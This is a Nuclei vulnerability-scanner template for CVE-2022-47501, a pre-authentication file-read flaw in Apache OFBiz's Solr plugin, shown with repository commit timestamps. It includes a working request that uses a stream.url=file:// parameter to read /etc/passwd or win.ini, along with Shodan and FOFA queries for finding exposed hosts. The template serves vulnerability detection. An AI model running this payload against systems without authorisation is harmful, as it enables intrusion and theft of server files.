nuclei-templates/http/cves/2022/CVE-2022-47501.yaml

57 lines
1.9 KiB
YAML
Raw Normal View History

2024-01-12 02:52:18 +00:00
id: CVE-2022-47501
info:
name: Apache OFBiz < 18.12.07 - Local File Inclusion
author: your3cho
severity: high
description: |
Arbitrary file reading vulnerability in Apache Software Foundation Apache OFBiz when using the Solr plugin. This is a pre-authentication attack. This issue affects Apache OFBiz: before 18.12.07.
reference:
- https://lists.apache.org/thread/k8s76l0whydy45bfm4b69vq0mf94p3wc
- http://www.openwall.com/lists/oss-security/2023/04/18/5
2024-01-12 02:52:18 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-47501
2024-01-12 06:46:30 +00:00
- http://www.openwall.com/lists/oss-security/2023/04/18/9
- http://www.openwall.com/lists/oss-security/2023/04/19/1
classification:
2024-01-12 06:46:30 +00:00
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
2024-01-12 02:52:18 +00:00
cve-id: CVE-2022-47501
2024-01-12 06:46:30 +00:00
cwe-id: CWE-22
cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
2024-01-12 06:46:30 +00:00
epss-score: 0.00183
epss-percentile: 0.55601
metadata:
product: ofbiz
shodan-query: "html:\"OFBiz\""
fofa-query: "app=\"Apache_OFBiz\""
max-request: 2
vendor: apache
tags: cve,cve2022,apache,ofbiz,lfi
http:
- method: GET
path:
- "{{BaseURL}}/solr/solrdefault/debug/dump?param=ContentStreams&stream.url=file://{{path}}"
payloads:
path:
- /etc/passwd
- c:/windows/win.ini
stop-at-first-match: true
matchers-condition: or
matchers:
- type: dsl
dsl:
- "regex('root:.*:0:0:', body)"
- "status_code == 200"
condition: and
- type: dsl
dsl:
- "contains(body, 'bit app support')"
- "contains(body, 'fonts')"
- "contains(body, 'extensions')"
- "status_code == 200"
condition: and
# digest: 490a0046304402204a453521be43175f5a7eae4fa17b86d001787d04841ff631510ec18028e6f5e702200a42211f946c5170361a160bcad4c8ca4a7efa9dfb009432c2be43f4126d0074:922c64590222798bb761d5b6d8e72950